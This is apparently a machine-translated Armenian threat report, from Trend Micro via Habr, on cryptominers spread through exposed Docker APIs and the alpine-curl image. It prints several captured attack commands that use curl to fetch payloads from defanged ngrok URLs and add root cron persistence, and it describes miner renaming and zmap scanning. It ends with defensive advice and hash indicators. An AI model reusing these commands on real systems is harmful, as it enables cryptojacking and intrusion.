Ինչպես են Docker API-ն և համայնքի հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար

Ինչպես են Docker API-ն և համայնքի հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար

Մենք վերլուծել ենք հավաքագրված տվյալները՝ օգտագործելով honeypot բեռնարկղեր, որոնք ստեղծել ենք սպառնալիքներին հետևելու համար: Եվ մենք նկատել ենք զգալի ակտիվություն կրիպտոարժույթի անցանկալի կամ չարտոնված հանքագործներից, որոնք տեղակայված են որպես խարդախ կոնտեյներներ՝ օգտագործելով Docker Hub-ում համայնքի կողմից հրապարակված պատկերը: Պատկերն օգտագործվում է որպես ծառայության մաս, որը տրամադրում է վնասակար կրիպտոարժույթի հանքագործներ:

Բացի այդ, տեղադրվում են ցանցերի հետ աշխատելու ծրագրեր՝ բաց հարևան կոնտեյներներ և հավելվածներ ներթափանցելու համար:

Մենք թողնում ենք մեր honeypot-ները այնպես, ինչպես կա, այսինքն՝ լռելյայն կարգավորումներով, առանց անվտանգության միջոցների կամ լրացուցիչ ծրագրաշարի հետագա տեղադրման: Խնդրում ենք նկատի ունենալ, որ Docker-ն ունի նախնական տեղադրման առաջարկներ՝ սխալներից և պարզ խոցելիություններից խուսափելու համար: Բայց օգտագործվող մեղրափողերը կոնտեյներներ են, որոնք նախատեսված են կոնտեյներացման հարթակի վրա ուղղված հարձակումները հայտնաբերելու համար, այլ ոչ թե բեռնարկղերի ներսում գտնվող հավելվածները:

Հայտնաբերված վնասակար գործունեությունը նաև ուշագրավ է, քանի որ այն չի պահանջում խոցելիություններ և նաև անկախ է Docker տարբերակից: Սխալ կազմաձևված և, հետևաբար, բաց կոնտեյների պատկեր գտնելն այն ամենն է, ինչ հարձակվողներին անհրաժեշտ է բազմաթիվ բաց սերվերներ վարակելու համար:

Չփակված Docker API-ն օգտվողին թույլ է տալիս կատարել լայն շրջանակ թիմերը, ներառյալ գործող բեռնարկղերի ցուցակ ստանալը, կոնկրետ կոնտեյներից տեղեկամատյաններ ստանալը, սկսելը, կանգնեցնելը (ներառյալ հարկադիրը) և նույնիսկ որոշակի պատկերից նոր կոնտեյներ ստեղծել՝ նշված կարգավորումներով:

Ինչպես են Docker API-ն և համայնքի հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար
Ձախ կողմում չարամիտ առաքման եղանակն է: Աջ կողմում գրոհողի միջավայրն է, որը թույլ է տալիս պատկերների հեռահար տարածումը:

Ինչպես են Docker API-ն և համայնքի հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար
3762 բաց Docker API-ների բաշխում ըստ երկրների: Շոդանի որոնման հիման վրա 12.02.2019/XNUMX/XNUMX թ

Հարձակման շղթայի և ծանրաբեռնվածության տարբերակները

Վնասակար գործողությունները հայտնաբերվել են ոչ միայն մեղրափողերի օգնությամբ։ Shodan-ի տվյալները ցույց են տալիս, որ բացված Docker API-ների թիվը (տես երկրորդ գրաֆիկը) աճել է այն բանից հետո, երբ մենք ուսումնասիրեցինք սխալ կազմաձևված կոնտեյներ, որն օգտագործվում էր որպես կամուրջ Monero կրիպտոարժույթի մայնինգի ծրագրակազմը տեղակայելու համար: Անցյալ տարվա հոկտեմբերին (2018 թ. ընթացիկ տվյալներ դուք կարող եք այսպիսի տեսք ունենալ մոտ. թարգմանիչ) կար ընդամենը 856 բաց API:

Honeypot-ի տեղեկամատյանների ուսումնասիրությունը ցույց է տվել, որ կոնտեյների պատկերի օգտագործումը նույնպես կապված է օգտագործման հետ նգրոկ, անվտանգ կապեր հաստատելու կամ հանրության համար հասանելի կետերից տրաֆիկի փոխանցման գործիք դեպի նշված հասցեներ կամ ռեսուրսներ (օրինակ՝ localhost): Սա թույլ է տալիս հարձակվողներին դինամիկ կերպով ստեղծել URL-ներ, երբ ծանրաբեռնվածությունը մատակարարում է բաց սերվեր: Ստորև բերված են կոդի օրինակներ տեղեկամատյաններից, որոնք ցույց են տալիս ngrok ծառայության չարաշահումը.

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Ինչպես տեսնում եք, բեռնված ֆայլերը ներբեռնվում են անընդհատ փոփոխվող URL-ներից: Այս URL-ներն ունեն ժամկետի կարճ ժամկետ, ուստի օգտակար բեռները չեն կարող ներբեռնվել ժամկետի ավարտից հետո:

Գոյություն ունի բեռնաթափման երկու տարբերակ. Առաջինը Linux-ի համար կազմված ELF հանքագործն է (սահմանվում է որպես Coinminer.SH.MALXMR.ATNO), որը միանում է մայնինգ լողավազանին: Երկրորդը սկրիպտ է (TrojanSpy.SH.ZNETMAP.A), որը նախատեսված է որոշակի ցանցային գործիքներ ձեռք բերելու համար, որոնք օգտագործվում են ցանցի տիրույթները սկանավորելու և այնուհետև նոր թիրախներ որոնելու համար:

Dropper script-ը սահմանում է երկու փոփոխական, որոնք այնուհետև օգտագործվում են կրիպտոարժույթի հանքագործը տեղակայելու համար: HOST փոփոխականը պարունակում է URL-ը, որտեղ գտնվում են վնասակար ֆայլերը, իսկ RIP փոփոխականը ֆայլի անունն է (իրականում, հաշ) այն հանքագործի, որը պետք է տեղակայվի: HOST փոփոխականը փոխվում է ամեն անգամ, երբ հեշ փոփոխականը փոխվում է: Սցենարը նաև փորձում է ստուգել, ​​որ կրիպտոարժույթի այլ հանքագործներ չեն աշխատում հարձակման ենթարկված սերվերի վրա:

Ինչպես են Docker API-ն և համայնքի հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար
HOST և RIP փոփոխականների օրինակներ, ինչպես նաև կոդի հատված, որն օգտագործվում է ստուգելու համար, որ այլ հանքագործներ չեն աշխատում

Նախքան հանքագործը սկսելը, այն վերանվանվում է nginx: Այս սցենարի այլ տարբերակները վերանվանել են հանքագործը այլ օրինական ծառայությունների, որոնք կարող են առկա լինել Linux միջավայրերում: Սա սովորաբար բավական է ընթացիկ գործընթացների ցանկի ստուգումները շրջանցելու համար:

Որոնման սցենարն ունի նաև առանձնահատկություններ. Այն աշխատում է նույն URL ծառայության հետ՝ անհրաժեշտ գործիքները տեղակայելու համար: Դրանց թվում է zmap երկուականը, որն օգտագործվում է ցանցերը սկանավորելու և բաց նավահանգիստների ցանկը ստանալու համար։ Սցենարը նաև բեռնում է մեկ այլ երկուական տարբերակ, որն օգտագործվում է հայտնաբերված ծառայությունների հետ շփվելու և դրանցից պաստառներ ստանալու համար՝ գտնված ծառայության մասին լրացուցիչ տեղեկություններ որոշելու համար (օրինակ՝ դրա տարբերակը):

Սցենարը նաև նախապես որոշում է ցանցի որոշ տիրույթներ սկանավորման համար, բայց դա կախված է սցենարի տարբերակից: Այն նաև սահմանում է թիրախային նավահանգիստները ծառայություններից, այս դեպքում՝ Docker-ից, նախքան սկանավորումը գործարկելը:

Հենց որ հնարավոր թիրախները հայտնաբերվեն, պաստառները ավտոմատ կերպով հեռացվում են դրանցից: Սցենարը նաև զտում է թիրախները՝ կախված ծառայություններից, հավելվածներից, բաղադրիչներից կամ պլատֆորմներից՝ Redis, Jenkins, Drupal, MODX, Kubernetes Վարպետ, Docker 1.16 հաճախորդ և Apache CouchDB: Եթե ​​սկանավորված սերվերը համընկնում է դրանցից որևէ մեկին, այն պահվում է տեքստային ֆայլում, որը հարձակվողները հետագայում կարող են օգտագործել հետագա վերլուծության և կոտրելու համար: Այս տեքստային ֆայլերը բեռնվում են հարձակվողների սերվերներ դինամիկ հղումների միջոցով: Այսինքն՝ յուրաքանչյուր ֆայլի համար օգտագործվում է առանձին URL, ինչը նշանակում է, որ հետագա մուտքը դժվար է։

Հարձակման վեկտորը Docker պատկեր է, ինչպես երևում է կոդերի հաջորդ երկու մասերում:

Ինչպես են Docker API-ն և համայնքի հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար
Վերևում վերանվանվում է օրինական ծառայության, իսկ ներքևում՝ ինչպես է zmap-ն օգտագործվում ցանցերը սկանավորելու համար

Ինչպես են Docker API-ն և համայնքի հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար
Վերևում կան կանխորոշված ​​ցանցային տիրույթներ, ներքևում՝ հատուկ պորտեր՝ ծառայությունների որոնման համար, ներառյալ Docker-ը:

Ինչպես են Docker API-ն և համայնքի հանրային պատկերները օգտագործվում կրիպտոարժույթի հանքագործներ բաշխելու համար
Սքրինշոթը ցույց է տալիս, որ alpine-curl պատկերը ներբեռնվել է ավելի քան 10 միլիոն անգամ

Հիմնվելով Alpine Linux-ի և curl-ի վրա՝ ռեսուրսներով արդյունավետ CLI գործիք՝ տարբեր արձանագրություններով ֆայլեր փոխանցելու համար, կարող եք կառուցել Դոկերի պատկեր. Ինչպես տեսնում եք նախորդ նկարում, այս պատկերն արդեն ներբեռնվել է ավելի քան 10 միլիոն անգամ։ Ներբեռնումների մեծ քանակությունը կարող է նշանակել այս պատկերի օգտագործումը որպես մուտքի կետ. այս պատկերը թարմացվել է ավելի քան վեց ամիս առաջ, օգտվողներն այդքան հաճախ չեն ներբեռնել այլ պատկերներ այս պահոցից: Docker-ում մուտքի կետ - հրահանգների մի շարք, որն օգտագործվում է կոնտեյների կազմաձևման համար այն գործարկելու համար: Եթե ​​մուտքի կետի կարգավորումները սխալ են (օրինակ, կոնտեյները բաց է մնում ինտերնետից), պատկերը կարող է օգտագործվել որպես հարձակման վեկտոր: Հարձակվողները կարող են օգտագործել այն օգտակար բեռ առաքելու համար, եթե գտնեն սխալ կազմաձևված կամ բաց կոնտեյներ, որը մնացել է առանց աջակցության:

Կարևոր է նշել, որ այս պատկերը (alpine-curl) ինքնին վնասակար չէ, բայց ինչպես տեսնում եք վերևում, այն կարող է օգտագործվել վնասակար գործառույթներ կատարելու համար: Նմանատիպ Docker պատկերները կարող են օգտագործվել նաև վնասակար գործողություններ կատարելու համար: Մենք կապվեցինք Docker-ի հետ և աշխատեցինք նրանց հետ այս հարցի շուրջ:

Առաջարկություններ

Սխալ կարգավորում մնացորդները մշտական ​​խնդիր շատ ընկերությունների, հատկապես իրականացնող ընկերությունների համար DevOps, կենտրոնացած է արագ զարգացման և առաքման վրա: Ամեն ինչ սրվում է աուդիտի և մոնիտորինգի կանոնների պահպանման անհրաժեշտությամբ, տվյալների գաղտնիությունը վերահսկելու անհրաժեշտությամբ, ինչպես նաև դրանց չկատարման հսկայական վնասով: Անվտանգության ավտոմատացման ներդրումը զարգացման կյանքի ցիկլի մեջ ոչ միայն օգնում է ձեզ գտնել անվտանգության անցքեր, որոնք այլապես կարող են չբացահայտվել, այլ նաև օգնում է նվազեցնել ավելորդ ծանրաբեռնվածությունը, ինչպես օրինակ՝ հավելվածի տեղադրումից հետո հայտնաբերված յուրաքանչյուր խոցելիության կամ սխալ կազմաձևման համար լրացուցիչ ծրագրերի մշակում:

Այս հոդվածում քննարկված միջադեպը ընդգծում է անվտանգությունն ի սկզբանե հաշվի առնելու անհրաժեշտությունը՝ ներառյալ հետևյալ առաջարկությունները.

  • Համակարգի ադմինիստրատորների և մշակողների համար. Միշտ ստուգեք ձեր API-ի կարգավորումները՝ համոզվելու համար, որ ամեն ինչ կազմաձևված է միայն որոշակի սերվերի կամ ներքին ցանցի հարցումներն ընդունելու համար:
  • Հետևեք նվազագույն իրավունքների սկզբունքին. համոզվեք, որ բեռնարկղերի պատկերները ստորագրված և ստուգված են, սահմանափակեք մուտքը կարևոր բաղադրիչներ (կոնտեյների գործարկման ծառայություն) և ավելացրեք գաղտնագրում ցանցային միացումներին:
  • Հետևեք առաջարկություններ և միացնել անվտանգության մեխանիզմները, օրինակ. Docker-ից և ներկառուցված անվտանգության առանձնահատկություններ.
  • Օգտագործեք գործարկման ժամանակների և պատկերների ավտոմատ սկանավորում՝ կոնտեյներով աշխատող գործընթացների մասին լրացուցիչ տեղեկություններ ստանալու համար (օրինակ՝ կեղծիք հայտնաբերելու կամ խոցելի կետեր որոնելու համար): Հավելվածի վերահսկումը և ամբողջականության մոնիտորինգը օգնում են հետևել սերվերների, ֆայլերի և համակարգի տարածքների աննորմալ փոփոխություններին:

Trendmicro-ն օգնում է DevOps թիմերին ապահով կառուցել, արագ տարածվել և գործարկել ցանկացած վայրում: Trend Micro Հիբրիդ ամպային անվտանգություն Ապահովում է հզոր, պարզեցված և ավտոմատացված անվտանգություն կազմակերպության DevOps խողովակաշարում և ապահովում է բազմաթիվ սպառնալիքների պաշտպանություն: XGen պաշտպանելու ֆիզիկական, վիրտուալ և ամպային ծանրաբեռնվածությունը գործարկման ժամանակ: Այն նաև ավելացնում է կոնտեյների անվտանգությունը Խորը անվտանգություն и Անվտանգության խորը խելացի ստուգում, որոնք սկանավորում են Docker-ի կոնտեյների պատկերները՝ հայտնաբերելու չարամիտ ծրագրեր և խոցելիություններ զարգացման խողովակաշարի ցանկացած կետում՝ կանխելու սպառնալիքները՝ նախքան դրանք տեղակայելը:

Փոխզիջման նշաններ

Առնչվող հեշեր.

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

On Docker վիդեո դասընթաց Գործնական բանախոսները ցույց են տալիս, թե ինչ կարգավորումներ է անհրաժեշտ նախ կատարել, որպեսզի նվազագույնի հասցվի հավանականությունը կամ ամբողջովին խուսափի վերը նկարագրված իրավիճակի առաջացումից: Իսկ օգոստոսի 19-21-ը օնլայն ինտենսիվ DevOps Tools & Cheats Այս և նմանատիպ անվտանգության խնդիրները կարող եք քննարկել գործընկերների և պրակտիկ ուսուցիչների հետ կլոր սեղանի շուրջ, որտեղ բոլորը կարող են բարձրաձայնել և լսել փորձառու գործընկերների ցավերն ու հաջողությունները:

Source: www.habr.com

Добавить комментарий